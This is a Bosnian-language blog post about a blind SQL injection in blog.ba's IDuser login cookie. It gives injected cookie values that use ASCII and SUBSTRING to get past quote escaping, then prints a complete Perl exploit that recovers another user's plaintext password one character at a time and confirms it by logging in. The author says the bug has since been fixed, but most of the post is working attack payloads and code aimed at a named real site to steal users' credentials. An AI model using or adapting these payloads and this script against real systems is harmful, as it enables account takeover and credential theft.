blog.ba sql injection

sql inj bug (rupcaga) na blog.ba o kojem sam prije pisao je popravljen.
ako se loginujete koristeci "Zapamti me", blog.ba vas zapamti preko dva cookiea IDuser i password. IDuser je int ciju vrijednost ubacuju direkt u sql query. u ovom cookieu mozemo probavati true/false upite za sql. recimo da kad se loginujemo da je IDuser=128. ako mjesto 128 upisemo 128/**/AND/**/1=1 i dalje smo loginovani. ako samo dodamo na kraju navodnike, 128" onda dobijemo gresku iz koje mozemo vidjeti izgled querya, Database error: Invalid SQL: SELECT username FROM users WHERE IDuser=128". ako uradite logout, mozete vidjeti da blog.ba pamti zadnji username kojim ste se loginovali, i to opet preko cookiea IDuser. znaci da bi testirali ovaj bug ne moramo biti loginovani, samo nam treba IDuser cookie. ako je rezultat upita true onda cemo vidjeti username u boxu "korisnicko ime", ako je rezultat false onda je box prazan. iz predhodnih bugova znamo da kolona sa siframa korisika je password a kolona sa korisnickim imenima username. slijedece je testiranje sa karakterima sifre. do prije par dana kada sam isprobao query 128/**/AND/**/(SUBSTRING(password,1,1)="p") radilo je. Medjutim u medjuvremenu admin je uradio escape navodnika, tako da sada za ovo javlja gresku Database error: Invalid SQL: SELECT username FROM users WHERE IDuser=128/**/AND/**/(SUBSTRING(password,1,1)="a"). da bi prosli ovaj "filter" koristimo ascii. predhodni cookie zamjenimo sa 128/**/AND/**/(ASCII(SUBSTRING(password,1,1))=112). ovo provjerava nasu sifru, tj njen prvi karakter. kako provjeriti tudju sifru?
koristenjem kolone username. prvo nam treba tudji username. taj podatak mozemo dobiti iz pretrage. mozemo i preko blog domene, ali ja sam odabro username. izgled querya koji provjerava prvi znak sifre za dati username bi izgledao ovako 9999999 OR (username="admin" AND (ASCII(SUBSTRING(password,1,1))=112)). medjutim zbog navodnika dobijemo gresku. kako ovo zaobici? jednostavno. i u ovom slucaju koristimo ascii. svaki znak usernamea posebno provjerimo preko njegove ascii vrijednosti.
9999999 OR ((ASCII(SUBSTRING(username,1,1))=97) AND (ASCII(SUBSTRING(username,2,1))=100) AND (ASCII(SUBSTRING(username,3,1))=109) AND (ASCII(SUBSTRING(username,4,1))=105) AND (ASCII(SUBSTRING(username,5,1))=110) AND (ASCII(SUBSTRING(password,1,1))=112))
ovaj query provjerava da li je: prvi znak usernamea "a" i drugi znak usernamea "d" i treci "m" i cetvrti "i" i peti "n" i prvi znak sifre "p". tako da ispitivanjem znakova sifre, dobijemo na kraju validnu sifru, samo shto u ovom slucaju ima vise znakova za ispitati jer ne radi se o hashu neg o plain textu. kad smo imali hash znali smo da ima 32 karaktera sa po 16 provjera. ovdje sad imamo sifru nepoznate duzine. kako onda znati kada treba prekinuti provjeru, tj koliko ima znakova. poslije svakog nadjenog znaka sifre provjeravamo da li se mozemo loginovat sa dobijenim podacima, ako ne, znaci da ima josh karaktera, ako da, znaci da je to sifra.

podaci(usernames, passwords, ascii vrijednosti) koristeni u ovom postu su imaginarni

#!/usr/bin/perl

# www.blog.ba exploit by h3x0r

if (@ARGV < 1) {
print
" +++++++++++++++++++++++++++++++++++++++++++++++++++n",
" Usage: blog.ba_sql_inj2.pl [user_name] [proxy]n",
" i.e. perl blog.ba_sql_inj2.pl shabann",
" proxy:168.192.0.15:80n",
" ++++++++++++++++++++++++++++++++++++++++++++++++++++n";
exit;
}

use strict;
use LWP::UserAgent;

my $username = $ARGV[0];
my $user_name = "";
my $password = "";
my $proxy = $ARGV[1];
my $request = "http://";
my $response;
my $cookie_value;
my $i;
my $j = 0;
my $k;
my @md5s = (97..122, 65..90, 48..57, 32..47, 95, 58..64, 91, 92, 93, 123, 125);
my $ascii;

use HTTP::Cookies;
my $browser = LWP::UserAgent->new ();
my $cookie_jar = HTTP::Cookies->new( );
$browser->cookie_jar( $cookie_jar );

if ( defined $proxy) {
$proxy =~ s/(http://)//eg;
$browser->proxy("http" , "http://$proxy");
}

if ($proxy) {print "using proxy $proxyn";}

# turn off buffering
$| = 1;

for ($i=1; $i<=length($username); $i++) {
$user_name.='(ASCII(SUBSTRING(username,'.$i.',1))='.ord(substr($username,$i-1,1)).')/**/AND/**/';
}

print "exploiting $usernamen";
OFFSET:
for ($j=1; $j<=32; $j++) {
for ($i=0; $i<=$#md5s; $i++) {
$ascii="$md5s[$i]";
print "x08", chr($ascii);
$k=0;
while ($k==0) {
$cookie_value='9999999/**/OR/**/('.$user_name.'(ASCII(SUBSTRING(password,'.$j.',1))='.$ascii.'))';
#print $cookie_value, "n";
$cookie_jar->set_cookie( "0","IDuser",$cookie_value,"/",'blog.ba',,,,,);
$request = 'http://blog.ba/index.php';
$response = $browser->get($request);
if ($response->is_success) {
$k=1;
if($response->content =~ m/<input name="txtUsername" type="text" value="$username">/) {
print "x08", chr($ascii), ' ';
$password.=chr($ascii);
if (login()==0) {next OFFSET;}
else {exit;}
}
}
else {sleep 100};
}
}
}

sub login {
$request = "http://blog.ba";
$response = $browser->post($request,['txtUsername' => $username,'txtPassword' => $password,'cbPamti' => '0','btnPrijavi' => 'Prijavi me ! ','st' => 'login']);
if ($response->is_success) {
if($response->content =~ m/Odjava/) {
return 1;
}
else {return 0;}
}
}
# undergr0und.blogger.ba

3 komentara

Komentariši